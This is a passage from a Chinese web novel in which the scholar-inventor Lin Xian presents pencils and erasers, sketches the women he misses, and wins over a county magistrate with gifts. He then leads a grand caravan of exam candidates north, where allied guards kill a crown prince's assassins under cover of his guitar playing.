林闲微微一笑,眼中闪烁着睿智,他想的更远:“你们只看到了明面的好处。须知此物‘字迹可擦除’之性,更为秘密传讯提供极大的便利——重要信息写在纸上,阅后即擦不留痕迹,纵使信件落入敌手,亦是无字天书!此乃军国利器!”
他把玩着手中的铅笔,露出了满意:“此二物于学子备考,于商贾记账,于文人草稿,乃至于……某些不便言说的特殊场合,皆有大用!咱们先将这批次以精美木盒封装,赠予周巡抚等官老爷以及最紧密的合作伙伴试用。”
“是!老爷!”
管家激动领命,看向林闲的目光充满崇拜。
他仿佛已经看到,这小小的铅笔和橡皮,必将如香皂、火锅一般,再次掀起一场财富风潮!
而林闲则拿起一支削好的铅笔,在素笺上流畅写下了清秀的字迹,嘴角那抹笑意,愈发高深莫测。
格物致知,点石成金。
闲生之手,总能于平凡处,创造惊世之器!
很快书房内重归宁静。烛火映照着林闲若有所思的脸庞。
林闲并未立刻继续研读经义,而是信步走回书案前,目光落在那一叠用来试笔的硬卡纸上。
手中那支削好的铅笔,仿佛有了生命般在他修长的指间灵活转动着。
一个念头,悄然浮现。
林闲的嘴角,勾起一抹温柔的弧度。那是一种与方才谈论发明、布局大势时截然不同的神情,带着深深的眷恋与思念。
林闲铺平一张卡纸,随即他执笔的手稳如磐石,笔尖轻触纸面,发出细微而富有韵律的沙沙声……
没有草稿,没有勾勒,全凭记忆与感觉。
铅笔在他的掌控下,如拥有了灵魂。
林闲时而用侧锋扫出柔和的阴影,时而用笔尖刻出精致的轮廓……
不过一炷香的功夫,纸上呈现出一位女子的半身像!
只见女子身着一袭素雅白衣,云鬓轻挽面容清丽绝伦,眉如远山含黛,目似秋水横波。特别是嘴角含着一抹清浅而略带疏离的笑意,更显气质空灵脱俗,仿佛不食人间烟火的月宫仙子。
此女不是苏元,又是何人?
这铅笔素描虽无色彩,却通过明暗对比线条疏密,将苏元那独特的气质刻画得跃然纸上!
这可比传统的工笔画像更加生动传神,仿佛下一秒,画中苏元便会轻启朱唇,吟唱一曲清词!
恰在此时,侍女端着一盏参茶进来。
当她目光扫过书案上那幅刚刚完成的画像时,整个人瞬间僵立在原地!
她手中的托盘微微一斜,发出轻微的磕碰声。
“天……天啊……”
侍女小翠瞪大了眼睛,脸上写满了难以置信的震惊与惊艳!
她曾在苏大家来拜访林闲时伺候过茶,自然认得苏元的容貌,但从未见过如此传神的画像!
“三爷……这、这是苏大家?”
云裳声音发颤,结结巴巴问。
“这……这是什么画法?竟、竟然像得……像得仿佛苏大家就从纸上走出来了一般!奴婢……奴婢从未见过如此活灵活现的画像!简直……简直是仙术!”
她的惊呼声,引来了门外经过的另外两名小丫鬟。
两女好奇地探头一望,顿时也倒吸一口冷气!
“真是苏大家!好像啊!比琉璃镜照出来的还要真!”
“你看那眼神,那嘴角的笑……天呐,苏大家真是美得像天上的仙子!”
“三爷的画技……真是神了!用这炭笔(她们对铅笔的称呼)竟能画出如此神韵!”
侍女们的惊叹和议论,充满了纯粹的赞美与不可思议。
她们看向林闲的目光除了往日的敬畏,更增添了一种崇拜!
林闲听着侍女们天真烂漫的惊叹,并未责怪她们的失态。只是微微一笑,目光依旧流连在画中人的脸庞上。
他伸出食指在那素描画像眉梢处轻轻拂过,眼神中流露出深沉的思念。
“是啊,是元儿。”
林闲低声轻语,声音柔和得如同春风吹过湖面:“这铅笔,用来捕捉神韵记录瞬间,倒是极好的。”
边说他边小心拿起那块“元启修正擦”,在画像背景处擦拭调整了一下明暗,使苏元的面容更加突出。
这修改的便捷与精准,再次让旁观的侍女们看得目瞪口呆。
“若是元儿在此,见到此物,定会喜欢。”
林闲心中默想,嘴角的笑意更深了。
他不仅发明了实用的工具,更找到了一种寄托相思的新方式。
待侍女们回过神来恭敬退下后,书房内再次只剩下林闲一人。
他将画好的素描像,小心收入精致的紫檀木画匣中,与苏元昔日赠他的那张焦尾琴谱放在一处。
笔可书写经世策,亦能描摹倾世容。
擦可修正纸上误,难拭心中相思情。
窗外,夜深人静。
而林闲心中,那抹素白的身影却因这小小的铅笔,而变得更加清晰,也更加坚定他在即将到来的京城风云中披荆斩棘、与她重逢的信念……
第155章 赠笔惊县尊,利器定乾坤
次日,林闲并未急于埋首书山。而是用新制的铅笔,在卡纸上继续素描练习。
此时光线极佳,陈设雅致。
一旁精美的笔筒内,插满削好的标有不同硬度记号的元启速记笔。
林闲今日似乎有意精进画技,并未直接动笔而是先闭目凝神片刻,脑海中如翻书般清晰浮现苏元的一颦一笑。
蓦然他睁开眼,执笔的手稳如磐石落笔如风!
“沙沙沙~”
笔尖在纸面上轻盈地跳跃滑动…..
林闲下笔极快,仿佛不是在学习绘画,而是在将脑海中早已烙印下的影像,复刻到纸面之上。
不过半炷香的功夫,苏元那清冷绝俗的娇艳便已跃然纸上。比昨日那幅更加传神,仿佛注入了灵魂!
“形似易,神似难。”
林闲放下笔退后两步,仔细端详自己的作品,微微颔首:“今日这一幅,倒是捕捉到元儿抚琴时的空灵之感。这铅笔的浓淡层次用于表现光影,确实妙不可言。”
画毕苏元,林闲意犹未尽。
他目光扫过窗外,似乎又想起来无影去无踪的影刹。
“影刹这丫头……”
林闲心念一动,立刻抽出一张新纸。
他下笔如飞,重点捕捉影刹那融入环境的朦胧感、身形舒展的流畅线条以及那双在暗影中充满警觉的眸子。
画中并未细致刻画五官,却通过身姿眼神和光影的对比,将一位顶尖暗卫的神秘、专注与爆发力表现得淋漓尽致!
停笔时,林闲有些意犹未尽,他蓦然想起柳如丝幽怨的琵琶。
林闲笔尖一顿,眼中闪过一丝了然。
他再次抽一张纸,随即笔法陡然一变!
不再追求凌厉的线条,而用略带朦胧的笔触,勾勒出一个怀抱琵琶的婉约身影。
半柱香功夫后,新的女子出现在纸面。
只见画中女云鬓微松,正低眉信手拨弦。其眼角眉梢带着一抹化不开的轻愁,那是一种深陷风尘却欲说还休的哀婉,更显真实动人……
很快,到了晌午时分。
林闲刚准备停笔管家却前来禀报,江陵府新任知县王文远前来拜会。
林闲眉梢微挑,嘴角泛起一丝了然的笑意。
他已从影刹的情报中得知,这位王知县乃是赵王周宸通过吏部的关系,安插过来的心腹干将。
目的就是接替已高升的周知府(原周知县),牢牢掌控江宁这个“元启”的根基之地和重要财源,顺便和自己搞好关系。
“请王大人到客厅用茶,我稍后便到。”
林闲淡然吩咐,随即不慌不忙收拾好画具。换上一身见客的常服后,从容地步入客厅。
客厅内,新任知县王文远早已起身恭候。
他年约三旬面容白净,虽身着七品鸂鶒补子官服,但面对林闲这位名动江南的解元、赵王爷的“财神爷”,态度却极为恭敬,甚至带着一丝不易察觉的讨好。
“下官王文远,拜见林解元!解元公大名,如雷贯耳,今日得见,三生有幸!”
王知县抢先一步,躬身施礼,礼数周到。
“王大人客气了,快快请坐。”
林闲微微一笑伸手虚扶,既不显傲慢,也不过分热络,自有一股令人心折的气度。
双方分宾主落座,侍女奉上香茗。
寒暄片刻,王知县再次表达了对林闲才学的仰慕。
言语间他不断暗示自己乃赵王嫡系,今后定当全力配合“元启”在江陵的各项事务。
林闲颔首应对,看出此人是颗值得栽培的棋子。
茶过三巡,林闲觉得时机已到便有心结个善缘,同时也想看看这新文具在知县手中反响如何。
他放下茶盏温和笑道:“王大人新官上任,三把火不易烧。江宁虽富庶,然刑名钱谷、民生百态,案牍之劳形,可想而知。”
说着林闲从身旁书案上取过一个早已备好的浮雕锦盒,递到他面前笑道:“此乃林某近日偶得闲暇,琢磨出的一些小玩意儿,名曰元启速记笔与元启修正擦。或可在大人处理日常公文、记录讯息时,略提高些效率,还望笑纳。”
王知县受宠若惊,连忙双手接过。
他口中连称“解元公厚赐,下官愧不敢当”,心中却难免有些好奇与疑惑。
香皂、花洒、火锅之名他如雷贯耳,但这“速记笔”、“修正擦”又是何物?
他打开做工精美的盒盖,只见盒内红色丝绒衬底上,整齐排列着数支造型别致、六棱形的细木杆,以及几块方方正正、似胶非胶的小方块。
与他平日所用之毛笔、墨锭、砚台等文房四宝截然不同,倒像是孩童的玩物。
“林解元,这……”
王知县拿起一支铅笔,面露难色迟疑道:“此物……如何书写?下官愚钝,还请解元公示下。”
林闲见状,嘴角那抹笑意加深。
他从容地取过一张素白笺纸,又随手从盒中取出一支削好的铅笔。
“王大人请看。”
林闲话音未落,执笔之手已动!
但见他手腕轻灵,笔尖触及纸面,发出轻快而连续的“沙沙”声,如春蚕食叶,悦耳动听!不过呼吸之间。
【恭贺王知县荣膺江陵,勤政爱民,步步高升】
一行清晰工整的行楷字迹,已跃然纸上!速度之快,远超毛笔书写数倍!
王知县看得眼睛发直,差点惊呼出声!这……这是什么速度?!
更让他目瞪口呆的还在后面!只见林闲写罢,随手拿起盒中那块淡黄色的小方块(橡皮擦),在“荣膺”二字上,随意擦拭了几下!
奇迹发生了!
那刚刚写就、墨色清晰的“荣膺”二字,竟随着橡皮的擦拭,如同被施了仙法一般,迅速变淡消失!
此刻纸上只留下些许淡痕,若不细看几乎与空白无异!
“此笔书写无需研墨蘸笔,提笔即写快捷省时;此擦可修改字迹,便于草拟文书、记录要点,即使写错一擦了之,卷面整洁。”
林闲放下橡皮,平淡解释道,仿佛在说一件微不足道的小事:“尤其便于随身携带,随时记录,大人下乡体察民情、升堂问案速记,皆可派上用场。”
“这….”
王知县早已惊得站了起来。
他嘴巴微张,眼睛瞪得溜圆,死死盯着那张纸。随后他接过林闲手中的铅笔,颤抖着在纸上写下自己的名字,感受着那流畅的笔触。随后又迫不及待地拿起橡皮,小心翼翼地在字迹上一擦……
“没了!真的没了!”
王知县激动得声音都变了调,满脸的难以置信和狂喜!
他毕竟是进士出身,又为官数载,深谙文书之苦!瞬间就明白了这两件“小玩意儿”在公务处理上的巨大价值!
王知县激动得几乎语无伦次,对着林闲深深一揖到地,声音因激动而颤抖:“解元公真乃旷世奇才!此物……此物于处理刑名案卷、钱粮册簿、草拟上行下效之公文,简直……简直有化腐朽为神奇之效!事半功倍不足以形容其利!下官以往起草文书,涂改勾画卷面狼藉,常被上官诟病!有此神擦何愁卷面不洁?下乡查案记录证供,有此速记笔,何愁遗漏关键?”
他越说越激动,仿佛看到未来公务处理效率飙升、政绩斐然的美好前景:“解元公此赐,非是寻常礼物,乃是助下官建功立业的神器啊!下官……下官感激涕零!”
看着王知县如获至宝的样子,林闲心中莞尔。
他端起茶杯吹了吹浮沫,语气依旧平淡:“王大人言重了,不过是些方便书写的小物件罢了。大人勤于王事,此物若能助大人一臂之力,便是它们的造化。望大人善用之,造福一方百姓,方不负赵王爷与林某的期望。”
“下官明白!定不负解元公与王爷厚望!”
王知县连连点头,将那个锦盒紧紧抱在怀里,如同抱着尚方宝剑。
送走千恩万谢、一步三回头的王知县后,老管家忍不住上前,笑着摇头叹道:“老爷,您看王大人那样子,怕是今晚要抱着这笔和擦睡觉了!”
林闲微微一笑,目光深邃:“他越是倚重此物,便越离不开‘元启’。这小小的铅笔橡皮,不仅是工具,更是一条无形的线。”
他踱步到窗前,看着王知县的轿子远去,心思活络暗自道:“科举士子,衙门官吏,账房先生……这市场,太大了。得让工坊加紧研制不同硬度、颜色的笔芯,包装再精美些。这元启文具系列,或许会成为进京的又一张好牌。”
一件小小的文具,既能结好官员,又能开拓市场,更能无形中扩大影响力。
林闲的商业版图与关系网络,就在这看似随意的赠礼中,悄然地再次扩张。
第156章 浩荡启程:举子护驾忙
春寒料峭,晨光熹微。
江宁城外十里长亭,此刻人声鼎沸,车马喧腾!
林闲的进京之旅,正式启程。
其场面之浩大气势之恢宏,远超寻常举子赶考,甚至盖过途径此地的官宦车队或商队!
放眼望去,只见官道之上,一支规模庞大的车队已集结完毕。
核心是林闲那十余辆特制四轮马车,车身以坚固的楠木制成,漆成沉稳的玄青色。
车辕上插着一面面迎风招展的三角锦旗,旗面以银线绣着飘逸灵动的“元启”二字和品牌徽记,在朝阳下熠熠生辉,气派非凡!
这些马车装载的并非全是书籍行囊,而是一个个精心包装、贴着封条的樟木大箱。
里面是林闲为进军京城市场准备的“硬通货”:限量版鎏金香皂礼盒、多功能花洒套装、清口胶、新研制的“元启速记笔”与“修正擦”文具套装,以及便于携带、风味独特的火锅底料包和高汤浓缩块等等。
这俨然不是一支普通的赶考队伍,而是一支武装到牙齿、移动的“元启”品牌宣传队和奢侈品商队!
林闲的专属座驾,更是经过巧匠特别改装。
车厢内铺西域地毯,设有固定的紫檀木小书案,案上文房四宝俱全。一侧还挂着那把紫檀木吉他,车壁设有暗格,存放着茶具、点心乃至一个小型冰鉴。
车窗镶嵌着透光极佳的水晶玻璃,悬挂着丝绸帘幔。其舒适与奢华程度,堪比王公的銮驾!
更令人瞠目结舌的是,听闻林解元今日启程进京,江南各州府同赴春闱的举子,竟有数十人慕名而来,早早等候在长亭,主动要求结伴同行!
这些举子出身各异,有的出身书香门第,仰慕林闲的才名。有的家资殷实,佩服其点石成金的商业手腕。
有的性情豪爽,觉得与林闲同行既安全又长见识。更有甚者,纯粹是想沾沾这位“文曲星”下凡的解元公的喜气,以期春闱高中!
“林年兄!小弟愿追随左右,一同进京,路上也好请教经义!”
“解元公!带上我等吧!路上也有个照应!”
“闲先生!您的元启系列,我家老爷子用了都说好!此番进京,定要让我等开开眼界!”
呼朋引伴,应者云集。
原本计划精干的队伍,如滚雪球般迅速扩大!
最终,形成了一支由数十名举子、上百名书童仆从、数十辆各式马车组成的庞大队伍!
旌旗招展,首尾绵延几近一里地。
这前所未见的浩大阵仗,哪里还像是寒窗苦读的举子赶考?
分明像是钦差大臣出巡,或是大军开拔。
沿途州县的官员闻讯,纷纷派人打探。
“这……这是何人车驾?如此大的排场?” 一位途经的县令在轿中看得心惊肉跳。
“回大人,是今科解元林闲林公子,进京赴考的车队。” 师爷擦着汗回禀。
“一个举子进京……带这么多车马?还有这么多同行举子?这……这林解元好大的声势!快,派人前去问候,送上程仪,万万不可怠慢!”
县令急忙吩咐。
他生怕礼节不周,得罪了这位背景深不可测的新贵。
道路两旁,更是挤满看热闹的百姓。
他们指指点点,议论纷纷。
“好家伙!这是赶考还是搬家啊?这么多车!”
“你懂什么!那是‘元启’的货!林解元这是要把生意做到京城去!”
“瞧见没!那么多秀才公都跟着呢!林解元真是了不得!”
“啧啧,这气派,比知府大人出巡还威风!”
林闲安坐于他那舒适奢华的车厢内,透过水晶车窗,看着外面这“盛况空前”的场面,嘴角不由勾起一抹意味深长的笑容。他拿起元启保温杯盛着的参茶,轻轻呷了一口。
不放心又护送了一段路程的影刹临走前低声道:“先生,此番动静是否太大了些?恐过于招摇,引人注目。”
林闲淡然一笑,目光扫过窗外那些热情洋溢的举子们对影刹道:“你可知这世上最坚固的盾,有时并非铜墙铁壁,而是这众目睽睽与人心所向。”
他放下茶杯,悠然道:“太子殿下若想关照我,现在怕是得先掂量掂量了。动我林闲一人或许不难,但要想在众目睽睽之下,对一支代表着江南士林脸面的举子队伍下手?这后果……他那位高权重的东宫之位,可还坐得稳?江南的读书人,天下的清流御史,会如何反应?这代价,他付得起吗?”
见影刹若有所思,林闲笑容更盛,带着一丝狡黠:“况且赵王和汉王的人,恐怕也混在人群中保护着呢。太子的人若真敢现身,怕是还没靠近车队,就会被那两位‘热心’的王爷手下当成‘功劳’给收拾了。咱们就安安稳稳坐在车里,看戏就好。”
影刹闻言心中豁然开朗,敬佩之情油然而生:“先生深谋远虑,属下佩服!”
“启程!”
随着林闲一声中气十足的吆喝,庞大的车队,在无数道目光的注视下,缓缓启动,向着北方京城的方向,迤逦而行。
车辚辚,马萧萧。
旌旗蔽日,声势浩大。
这春闱之路,一开始就注定不会平凡。
车队缓缓北行,发出规律而沉闷的辘辘声。
车厢内却异常平稳舒适,得益于精良的减震设计。
林闲独自靠坐在柔软的锦垫上,目光透过车窗,望着窗外不断向后掠过的田野村庄。
看似在欣赏风景,脑海中却已飞速运转,对此次行程进行着冷静而全面的剖析。
此番进京,声势造得如此之大,绝非一时兴起,更非少年得意便猖狂。
林闲心中默想,眼神深邃如潭,再次确认本次行程的目的。
其一,乃是自保。
太子对他已生忌惮,甚至暗藏杀机。
若轻车简从隐秘行踪,反倒给了太子暗中下手、事后推诿的良机。
如今林闲反其道而行之,集结江南数十举子同行,队伍浩荡,众目睽睽。
若在进京路上出事,便是震动江南士林、挑衅天下读书人的大案!
届时莫说太子,便是皇帝也要给天下人一个交代!此乃阳谋,借大势以自固,让他投鼠忌器,不敢轻举妄动。此为一石之一鸟。
其二,乃是造势。
元启之名,虽在江南如日中天,但在京城,根基尚浅。此番携新货北行,车队本身便是最醒目的活广告。
沿途州县官员、士绅百姓皆可见证“元启”之实力与气派。消息会像风一样吹进京城,人未至名先扬。
待林闲入京,元启产品便可借势迅速打开局面,事半功倍。
况且这些同行的举子,今日受他“庇护”,他日无论中与不中皆是人脉,其中不乏未来官场新星。此番同行之情谊,便是日后“元启”在朝中无形的助力。此为一石之二鸟。
其三,乃是试探。
他如此高调,正是要看看太子乃至京城各方势力的反应。是按捺不住,蠢蠢欲动?还是隐忍不发,另寻他策?
亦或是有心结交,暗中示好?
赵王、汉王的人混迹其中,名为保护实为监视,亦想从中渔利。
这趟浑水,正好看清这京城的水有多深,各方势力的底线和手段如何。
知己知彼,方能百战不殆。此乃一石之三鸟。
最后,亦是无奈。
他本欲低调备考,奈何树欲静而风不止。
太子既已出手,林闲便不能再示弱。
退一步未必海阔天空,更可能被人认为是软弱可欺,步步紧逼。
既然如此不如主动出击将计就计,把这趟进京路,变成亮相台护身符!以攻代守,方是上策。
【至于春闱本身……】
林闲收回目光,看向车内小书案上那叠整理得一丝不苟的经义策论笔记,嘴角重新浮现出自信的笑容。
学问根基,我已夯实。时务策论,我更有超越时代的见识。只要考场之上不出纰漏,金榜题名当在情理之中。而科场之外的交锋,或许才是真正的考验。
此行看似招摇,实则步步为营。携江南士林之势,带元启商号之利,观京城各方之态,行堂堂正正之师。
“太子,你若识相便该知道,今时不同往日,想动我没那么容易了。若你执意要碰一碰……”
林闲眼中寒光一闪而逝:“那我也不介意,让你在这众目睽睽之下,好好栽个跟头。”
思虑已定,林闲心中一片澄明。
他缓缓闭上双眼,开始养神,仿佛窗外那浩大的声势、暗处的风起云涌,都与他无关。
一切,尽在掌握之中。
车队,依旧在不紧不慢向着北方行进。前方,是帝国的权力中心,是机遇也是漩涡。
而林闲,已然做好了准备!
第157章 月夜:一曲动荒郊,声里破杀局
队伍昼行夜宿,一路北上。
林闲深谙张弛之道,并没一味赶路。
每逢行至风景绝佳之处,或是地势险要需缓行之地,他常会牵头组织举子们进行一些雅集或联谊活动,或探讨经义策论,或分享沿途见闻风土。
而最受众人欢迎、莫过于那露天举行的“元启火锅宴”!
这日傍晚,车队行至一处前不着村后不着店的荒郊野岭。
但见四周山峦叠嶂林木幽深,一条小溪潺潺流过营地旁。
月色清冷,如霜似练洒满大地。
初春的寒风掠过光秃秃的枝桠,发出呜呜声,更添几分萧瑟。
许多初次离家远行、鲜少经历此等荒凉环境的年轻举子,望着眼前景象听着风声呜咽,不免有些思乡情怯,营地气氛略显沉闷压抑。
林闲见状,嘴角微扬。
他命人选了处背风靠近水源的平坦之地,指挥仆役们迅速而有序地安营扎寨。
随即他朗声对众人笑道:“诸位年兄!如此良辰、美景、荒野、清风、明月,五美俱全,岂可轻易辜负?枯坐营帐,徒然伤怀,非我辈读书人豪情!”
随即林闲大手一挥,意气风发:“来!架起锅灶,燃起篝火!取出咱们‘元启’的宝贝!今日林某做东,请诸位以天地为席,明月为灯,篝火为烛,围炉共坐,尝一口热辣火锅,驱一驱这料峭春寒,畅谈天下事!岂不快哉!”
此言一出,顿时点燃了所有人的热情!
众举子纷纷叫好,脸上的阴霾一扫而空!
仆役们更是手脚麻利,很快便在营地中央架起数口大铜锅,点燃了熊熊篝火。火光跳跃,驱散了黑暗和寒意。
便携的“元启”火锅底料包被撕开,倒入沸腾的雪水中,那霸道而熟悉的麻辣鲜香瞬间弥漫开来。
各色冻肉、鲜蔬、豆腐、粉条被迅速摆上临时拼凑的长条木桌。
不过片刻功夫,荒凉的野地竟变得热闹非凡。
举子们围坐篝火旁,涮肉吃菜,觥筹交错(以茶代酒居多),谈天说地,高谈阔论,寒意与沉闷被火锅的热气和欢声笑语冲得无影无踪!
酒至半酣,气氛愈加热烈。
篝火映红了一张张年轻而充满朝气的脸庞。
林闲兴致勃发,转身从车厢中取来那把紫檀木吉他笑道:
“如此良宵豪情,岂能无歌?当有壮歌以和,方显我辈胸怀!”
说罢他抱吉她而坐,手指轻轻拂过琴弦,试了几个音。
“铮~”
随即一首节奏明快、旋律激昂、充满豪迈之气的歌曲,从他指尖流淌而出。
歌词应景而作,唱的是男儿志在四方、仗剑天涯、友谊地久天长!
他的嗓音清亮而富有磁性,吉他伴奏虽异于传统丝竹,但那奔放的节奏真挚的情感,却深深感染了在场的每一个人!
“好!”
“妙哉!此曲豪迈!”
“解元公大才!文武双全,竟通音律至此!”
众举子虽大多初次见识吉他,却无不被这新颖而充满力量的音乐所打动。
不少人跟着节奏摇头晃脑,击掌相和。更有性情豪爽者,忍不住跟着哼唱起来。
欢声笑语和着激昂的吉他声、火锅的咕嘟声、篝火的噼啪声,在这荒郊野岭的月夜下,汇成一曲充满生机与活力的交响,声震四野!
然而就在这片热烈、欢快的氛围之下,冰冷的杀机已悄然逼近!
营地不远处,一片茂密的灌木丛后。
太子派出的那一队精选的死士,已如鬼魅般潜伏多时。
他们身着夜行衣,与黑暗融为一体,只露出一双双冰冷嗜血的眼睛。
为首的头目,看着篝火旁纵情高歌、似乎完全沉浸在欢乐中的人群,尤其是被众人围在中心、怀抱古怪乐器弹唱的林闲,眼中闪过一丝残忍的寒光!
“目标警惕性已降至最低,正是动手的绝佳时机!”
死士头目压低声音,语气森然:“听我号令!第一组,弓弩手,瞄准林闲以及他身边那几个看似护卫的家伙,放箭狙杀!第二组随我突进,趁乱结果目标。动作要快,不留活口!”
“是!”
众死士低声领命,纷纷取出淬毒的弓弩和锋利的短刃,如同狩猎的群狼,蓄势待发!
就在这千钧一发之际!
篝火旁,正弹唱到激昂处的林闲,眼角余光似乎不经意地扫过那片黑暗的灌木丛。
他嘴角那抹沉醉于音乐的笑容,几不可察地凝固了一瞬,随即化为一缕更冰冷的弧度。
他手下弹奏的节奏,在某个重音处,极其微妙地加重并延长了一刹那!
这细微的变化,常人根本无法察觉。但却如同一个无声的指令!
一直如影子般侍立在林闲身后阴影中的影刹,耳朵微不可察地动了一下,眼中瞬间爆发出凌厉的杀机!
她身形未动,却已通过某种隐秘的方式,将警报传递了出去!
“动手!”
死士头目眼中凶光毕露,低喝一声!
几乎就在他发出指令的同一刹那!
篝火旁,正弹唱到一曲高潮处的林闲,仿佛心有所感。
他怀抱吉他,十指在琴弦上猛地一个强有力的扫弦!
“铮——!”
一声激昂高亢、带着金属质感的和弦音,如同战场上的号角,撕裂了欢快的夜空!
这记重音,并非歌曲原有的节奏,却恰到好处地融入了旋律,听起来如同情绪的自然爆发!
但这声音,听在早已埋伏在侧的赵王精锐耳中,却是一个再清晰不过的——动手信号!
弦音未落!
“咻咻咻——!”
一阵密集得令人头皮发麻的弩箭破空声,已从太子死士藏身的灌木丛侧后方抢先响起。
数十支淬毒的弩箭,在月光下闪烁着幽蓝的寒光,如同精准定位的死亡之雨,瞬间覆盖了太子死士的藏身之地!
“呃啊!”
“有埋伏!小心!”
惨叫声和惊呼声顿时被弩箭入肉的闷响和身体倒地的声音淹没!
而此刻,林闲的吉他旋律陡然一变!
从方才的豪迈激昂,转为一种铿锵杀伐的节奏!
他的手指在琴弦上快速轮拨扫弦,每一个重音,都仿佛敲击在杀戮的节拍上!
场面,瞬间变得惊险万分!
一名太子死士侥幸躲过第一波箭雨,手中淬毒的匕首直取最近一名赵王暗卫的咽喉!眼看就要得手——
恰在此时,林闲的吉他爆出一串密集如雨点般的轮指音!
“叮叮咚咚!”
那暗卫仿佛被音律激励,身形诡异一扭,反手一刀后发先至,精准划开了死士的喉咙!
另一侧两名死士配合默契,一左一右,刀光如匹练般绞向一名赵王高手的下盘!险象环生!
林闲嘴角微扬,手下琴弦重重一划,发出一声刺耳如金铁交击的滑音!
“滋啦——!”
那赵王高手闻音,身形骤然拔高,双足在袭来的刀背上连点,手中长剑如毒蛇出洞,瞬间点中两人手腕!
惨叫声中,双刀落地!
最险的要数那死士头目,他见势不妙,竟不顾受伤,猛地将一颗黑乎乎的信号弹掷向空中!若让此物升空爆炸,必将惊动整个营地!—— 千钧一发之际!
林闲眼中寒光一闪,拇指在最低音的琴弦上,看似随意地,却蕴含着内劲,重重一拨!
“嗡——!”
一声低沉如闷雷般的音波荡开!那刚升空不到丈许的信号弹,竟被这蕴含巧劲的音波震得一歪,斜斜落下,掉进不远处的溪水中,“嗤”的一声熄灭了!
整个厮杀过程虽然短暂,却招招凶险,步步杀机!
然而在林闲那激昂澎湃、恰到好处的吉他“伴奏”下,所有的兵刃撞击声、身体倒地声竟都被掩盖下去,或者融入了音乐的节奏中。
在篝火旁欢宴的举子们听来,只觉今夜解元公的演奏格外慷慨激昂、跌宕起伏,充满了金戈铁马的壮烈气息,令人热血沸腾!
甚至当一名死士的惨叫声稍大时,林闲会即兴加入一段高亢入云、需要极高技巧的快速琶音,用华丽的乐音将杂音完全覆盖!
他还会适时地抬起头,对周围举子们露出一个潇洒不羁的笑容,仿佛完全沉浸在音乐创作中,口中随着节奏朗声吟诵应景的诗词与众人互动:
“赵兄,李兄,且听这段‘银瓶乍破水浆迸,铁骑突出刀枪鸣’如何?” 他话音未落,手下琴弦连拨,恰似一阵密集的刀剑碰撞声!而树林中,也正响起一阵激烈的兵器交击之声!
“妙啊!解元公此曲,真有沙场点兵之气概!” 被点名的赵姓举子激动地拍案叫好,浑然不知几十步外正上演真实厮杀。
当最后一名负隅顽抗的死士被乱刀砍倒时,林闲的吉他声也恰好奏出一个辉煌、圆满的终止和弦!余音袅袅,回荡在夜空。
杀戮开始于一个强力和弦,结束于一个完美终章。时间拿捏得精准无比。
影刹的身影如鬼魅般悄然出现在林闲身侧,低声道:“先生,十七只老鼠,已清理十六只,留了头目活口。赵王的人手脚很干净,正在处理现场,未惊动营地。”
林闲微微颔首,脸上带着一丝尽兴的满足感,仿佛刚完成了一场精彩的演出。他优雅地放下吉他,举起茶杯,对依旧沉浸在音乐余韵中的举子们朗声笑道,声音平稳温和:“哈哈,一时兴起,献丑了!荒野月夜,当以豪歌佐酒!来,诸位,共饮此杯,愿我辈前程,亦如此曲,波澜壮阔,终至辉煌!”
“共饮!共饮!解元公威武!”
众人轰然应诺,气氛热烈达到顶点。无人知晓,方才他们欣赏到的,是一场真实杀戮的“背景音”,而演奏者,正是谈笑间樯橹灰飞烟灭的闲神本人。
月色依旧,篝火依旧。
唯有空气中若有若无飘来的一丝极淡的血腥气,很快被火锅的麻辣香气和晚风吹散。一场精心策划的刺杀,就这样被林闲以一曲吉他,轻松化解于无形。
第158章 拦路:宵小故刁难,亮剑惊四座
干掉袭击刺客后,车队浩浩荡荡继续北行。
沿途虽有州县官员迎来送往,倒也还算顺利。
这日傍晚行至南北要冲、素有“铁锁横江”之称的军事重镇——潼安关。
但见关城依山而建,地势险峻。
城墙高耸入云垛口如齿,守军盔明甲亮旌旗招展,一派肃杀之气。
按照预定行程,本应在此关内驿站歇息一晚,次日清晨再行赶路。
可当车队抵达关下时,那两扇沉重的包铁城门却紧闭!
城楼之上火把通明,映照出一排排手持长枪、腰挎弯刀的守军,个个面色冷峻。
一名身着明光铠的守关偏将,正居高临下俯视关下的车队,嘴角噙着一丝不易察觉的冷笑。
车队前导连忙策马上前,对着城楼拱手高喊:“楼上将军请了!我等是江南各州府赴京参加春闱的举子队伍,途径贵宝地,有官府出具的赶考文书为凭,请求入关歇息,还望将军行个方便!”
那偏将闻言嗤笑一声,声音带着毫不掩饰的刁难:
“赴京举子?哼!本将看尔等车马众多,人员冗杂,旗帜纷乱(指各举子家旗和‘元启’商旗),更兼天色已晚,难以一一辨明身份!”
他大手一挥强硬道:“为关防安全计,恕不能放行!尔等可在关外自行寻找地方扎营,明日天亮,验明正身后再议入关之事!”
此言一出,举子们顿时炸开了锅!
“岂有此理!我等皆有官府出具的正式赶考文书,身份明确,为何不能入关?”
“这荒郊野岭狼虫出没,如何扎营?分明是故意刁难!”
“眼看乌云压顶,风雨欲来,这该如何是好?”
“一个小小的守关偏将,安敢如此无礼!”
群情激愤,斥责之声不绝于耳。
林闲在车中听得真切,眼中闪过一丝深意。
他示意众人稍安勿躁,从容整了整衣冠,沉稳走到关前明亮处。
但见林闲对城楼上偏将拱了拱手,不卑不亢道:
“这位将军请了,在下乃今科江南解元林闲。”
他自报家门,声音清晰传上城楼:“我与诸位同年确有官府正式文书在此,身份清白皆为赴考学子。如今天色已晚风雨欲来,关外扎营恐生变故,亦非待客之道。还请将军行个方便打开城门,容我等入关歇息,感激不尽。”
那偏将眯起眼睛,眼中闪过一丝阴鸷,语气却更加蛮横无理:
“林解元?哼,本将倒是听过你的名头!听闻解元公生意做得极大,与海外番邦往来甚密,所用器物也多涉异域奇巧!你这队伍庞大人员复杂,难保没有混入什么不明身份之人!”
他竟将“元启”产品与“番邦”、“奸细”强行扯上关系!
说罢,他猛地一挥手!
城墙上顿时出现一排弓箭手,虽未张弓搭箭但冰冷的箭镞闪烁着寒光,威慑之意不言而喻!
“为保关城万全,必须严查!”
偏将厉声道:“若要入关,需你等所有人放下兵器,接受我军士逐一搜身检查!车辆货物也需全部开箱,细细验看!否则……”
他冷笑一声,拖长了音调:“休想踏入我潼安关一步!”
这简直是赤裸裸的羞辱和刁难!
让有功名在身的举子们像犯人一样被搜身,还要检查私人物品和货物,简直是奇耻大辱!
举子们彻底被激怒了,纷纷怒斥。
“狂妄!”
“我等乃读书人,岂容你如此折辱!”
“我要上奏朝廷,参你一本!”
